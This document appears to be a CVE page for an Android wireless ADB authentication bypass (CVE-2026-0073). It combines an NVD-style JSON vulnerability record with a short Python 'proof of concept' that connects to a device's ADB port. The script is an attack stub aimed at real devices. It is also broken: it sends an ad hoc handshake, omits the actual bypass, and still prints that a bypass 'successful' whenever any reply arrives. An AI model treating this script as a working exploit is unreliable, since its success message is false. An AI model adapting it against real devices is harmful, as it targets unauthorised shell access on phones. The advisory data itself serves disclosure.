CVE-2026-0073

import socket import struct def connect_adb(target_ip, port=5555): # Attempt to connect to the ADB server try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, port)) # Send ADB protocol handshake # ADB uses a specific protocol starting with "CNXN" message = b"CNXN\x00\x00\x00\x01\x00\x10\x00\x00" + (b"\x00" * 12) + b"host::\x00\x00" # Note: This is a simplified PoC structure. # The actual exploit leverages the logic flaw in adbd_tls_verify_cert # to bypass the TLS handshake verification. s.send(message) response = s.recv(1024) if response: print("[+] Connection established. Attempting to bypass auth...") # In a real exploit, specific TLS packets would be crafted here # to trigger the logic error and gain shell access. print("[+] Potential bypass successful (check for shell access).") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with target device IP target = "192.168.1.X" connect_adb(target)

{"cve": {"id": "CVE-2026-0073", "sourceIdentifier": "[email protected]", "published": "2026-05-04T18:16:26.013", "lastModified": "2026-05-05T19:54:49.267", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In adbd_tls_verify_cert of auth.cpp, there is a possible bypass of wireless ADB mutual authentication due to a logic error in the code. This could lead to remote (proximal/adjacent) code execution as the shell user with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-303"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:qpr2_beta_1:*:*:*:*:*:*", "matchCriteriaId": "FD695F32-4A73-4846-B1A1-04FF266E9C15"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:qpr2_beta_2:*:*:*:*:*:*", "matchCriteriaId": "3DE9F018-8704-476B-8D59-F63F8486E231"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:qpr2_beta_3:*:*:*:*:*:*", "matchCriteriaId": "BE95A642-4330-4F65-B028-3BA597D30F32"}]}]}], "references": [{"url": "https://source.android.com/docs/security/bulletin/2026/2026-05-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}